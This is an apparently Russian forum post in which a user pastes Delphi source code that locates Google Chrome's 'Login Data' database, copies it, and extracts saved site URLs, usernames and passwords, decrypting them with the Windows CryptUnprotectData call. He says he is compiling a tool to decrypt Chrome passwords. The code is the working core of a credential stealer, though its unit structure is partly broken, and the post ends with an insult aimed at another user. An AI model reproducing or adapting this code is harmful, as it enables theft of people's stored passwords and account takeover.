Показать сообщение отдельно
  #4  
Старый 08.11.2012, 17:29
vladislav147 vladislav147 вне форума
Прохожий
 
Регистрация: 12.08.2012
Сообщения: 28
Репутация: 9
По умолчанию

Цитата:
Сообщение от M.A.D.M.A.N.
Выложи исходник, может банальная опечатка.

Код:
unit Unit1;

interface

uses
Windows, Classes, SysUtils, Registry, SQLiteTable3, CryptAPI, SQLite3DLL,
     BTMemoryModule, ActiveX, shlObj, StrUtils;

type
  TForm1 = class(TForm)
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
   Function GetChromePasswords:TStringList;
   Function GetShellFolder(CSIDL:integer):String;
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

interface
 
function GetShellFolder(CSIDL: integer): string;
var
  pidl                   : PItemIdList;
  FolderPath             : string;
  SystemFolder           : Integer;
  Malloc                 : IMalloc;
begin
  Malloc := nil;
  FolderPath := '';
  SHGetMalloc(Malloc);
  if Malloc = nil then
  begin
    Result := FolderPath;
    Exit;
  end;
  try
    SystemFolder := CSIDL;
    if SUCCEEDED(SHGetSpecialFolderLocation(0, SystemFolder, pidl)) then
    begin
      SetLength(FolderPath, max_path);
      if SHGetPathFromIDList(pidl, PChar(FolderPath)) then
      begin
        SetLength(FolderPath, length(PChar(FolderPath)));
      end;
    end;
    Result := FolderPath;
  finally
    Malloc.Free(pidl);
  end;
end;
 
Function CreateCopyName(FileName:string):String;
begin
Result:=FileName+' - Copy';
end;
 
//Chrome Komplett
//Chrome Hilfsfunktion
Function UncryptChromePW(MS:TMemoryStream):string;
var DBin, DBOut:Data_Blob;
    s:string;
    HArr:Array of Byte;
    i:integer;
    sHex:string;
    P:PByte;
begin
//cbData member holds the length of the pbData member's byte string
//  that contains the text to be encrypted.
 
MS.Position:=0;
DBOut.cbData := 0;
DBOut.pbData := nil;
DBIn.cbData := MS.Size;
GetMem(DBIn.pbData, DBIn.cbData);
DBIn.pbData:=MS.Memory;
if CryptUnprotectData(@DBIn,
                    nil,
                    nil,
                    nil,
                    nil,
                    0,
                    @DBOut) then
begin
  P:=DBOut.pbData;
  SetLength(HArr,0);
  SetLength(HArr,DBOut.cbData);
  for i:=0 to DBOut.cbData-1 do begin
    HArr[i]:=P^;
    inc(P);
  end;
  s:='';
for i:=0 To High(HArr) do begin
  sHex:=IntToHex(HArr[i],1);
  s:=s+chr(HArr[i]);
end;
result := s;
end
else begin
 
end;
DBOut.pbData:=NIL;
LocalFree(Cardinal(DBOut.pbData));
 
end;
 
//Chrome-Main-Funktion
Function GetChromeLoginData(LoginPath:string):TStringList;
var MS:TMemoryStream;
    SQLiteDataBase:TSQLiteDatabase;
    SQLiteTable:TSQLiteTable;
    i:integer;
begin
Result:=TStringList.Create;
try
SQLiteDatabase := TSQLiteDatabase.Create(LoginPath);
SQLIteTable := SQLiteDatabase.GetTable('SELECT * From logins');
if SQLIteTable.Count > 0 then begin
 for i := 0 to SQLiteTable.Count -1 do begin
    Result.Add(SQLIteTable.FieldAsString(SQLIteTable.FieldIndex['origin_url']));
    Result.Add(SQLIteTable.FieldAsString(SQLIteTable.FieldIndex['username_value']));
    MS := SQLIteTable.FieldAsBlob(SQLIteTable.FieldIndex['password_value']);
    //showmessage(inttostr(ms.Size));
    Result.Add(UncryptChromePw(MS));
    SQLIteTable.Next;
  end;
end else Result.Add('Keine Passw?rter gespeichert!');
SQLIteTable.Free;
SQLiteDatabase.Free;
except on e:exception do Result.Add('Chrome-Failed'); end;
end;
 
Function GetChromePasswords:TStringList;
var path:string;
    i:integer;
    SL:TStringList;
begin
Result:=TStringList.Create;
try
path:=GetShellFolder(28); //User/Appdata/Local
path:=path+'\Google\Chrome\User Data\Default\Login Data';
if FileExists(path) then begin
  CopyFile(PChar(path),PChar(CreateCopyName(path)),false);
  path:=CreateCopyName(path);
  SL:=TStringList.Create;
  SL.AddStrings(GetChromeLoginData(path));
  for i:=0 to SL.Count-1 do begin
    Result.Add(SL[i]);
  end;
  DeleteFile(path);
end else
  Result.Add('Chrome-File not Found!');
except on e:exception do Result.Add('Chrome failed!'); end;
end;

end.

Компилирую прогу для расшифровки пароля от Google Chrome ...

Robt - НАХЕР ПОШЁЛ !
Ответить с цитированием